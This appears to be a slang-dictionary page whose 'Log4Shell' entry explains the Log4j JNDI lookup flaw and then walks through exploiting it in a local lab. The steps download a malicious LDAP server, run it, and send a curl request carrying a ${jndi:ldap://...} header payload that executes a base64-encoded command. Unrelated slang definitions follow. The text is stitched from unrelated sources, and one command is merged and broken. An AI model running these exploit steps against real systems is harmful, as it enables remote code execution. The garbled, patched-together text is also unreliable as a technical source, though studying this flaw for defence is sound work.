Skip to main content

Log4Shell 

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
To execute commands with Log4Shell, I’ll be spinning up an LDAP server with the capabilities to exploit JNDI injection attacks written by feihong-cs. Run the following to download the malicious LDAP server:

cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip

With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -h

To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001

And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):

echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0

And then make the following request to the vulnerable application:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'

We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
Log4Shell by Bad C dev December 15, 2021
Log4Shell mug front
Get the Log4Shell mug.
See more merch

loishell 

She is a funny smart kind clumsy girl but she is loveable and mean sometimes crazy .Ameera
Hi I want a loishell.
loishell by Ameerakm1 September 4, 2017
Related Words
Dunzo, a slang word for done/finshed. Made famous by the Laguna Beach cast.
This car is so dunzo. (Kristin's car breaks down.)
dunzo by Joey Pellet December 8, 2004
Word of the Day on June 20, 2026

ankle biter

Someone or something that bites your ankles.
To a postman, an ankle biter is often known as a dog.
To an adult, an ankle biter may be a toddler.
To hikers, an ankle biter is sometimes a tick.
And so on.
"Dang ankle biter took off my whole leg!!"
ankle biter by the sane maniac February 2, 2004
Word of the Day on June 19, 2026

Male Pattern Blindness 

When a man will search for hours to find something that is laying out in the open on a table. Items are often easily found by a women.
Man: "I have been searching for hours for keys."
Woman: "You mean the ones sitting there on the coffee table?"
Man: "Where?"
Woman: "Right there in the middle of that table."
Man: "oh, must have been Male Pattern Blindness"
Male Pattern Blindness by diablo581 February 10, 2008
Word of the Day on June 18, 2026

Pretty Privilege

A person who has more opportunities, and becomes more successful in life because of how attractive they are.
"Pretty privilege isn't a thing." "Yes it is have you seen GeorgeNotFound"

"GeorgeNotFound has so much pretty privilege its not fair!!!"
Word of the Day on June 17, 2026
Jenny got in more trouble after being arrested because she had priors.
priors by Jermaine Young. October 14, 2008
Word of the Day on June 16, 2026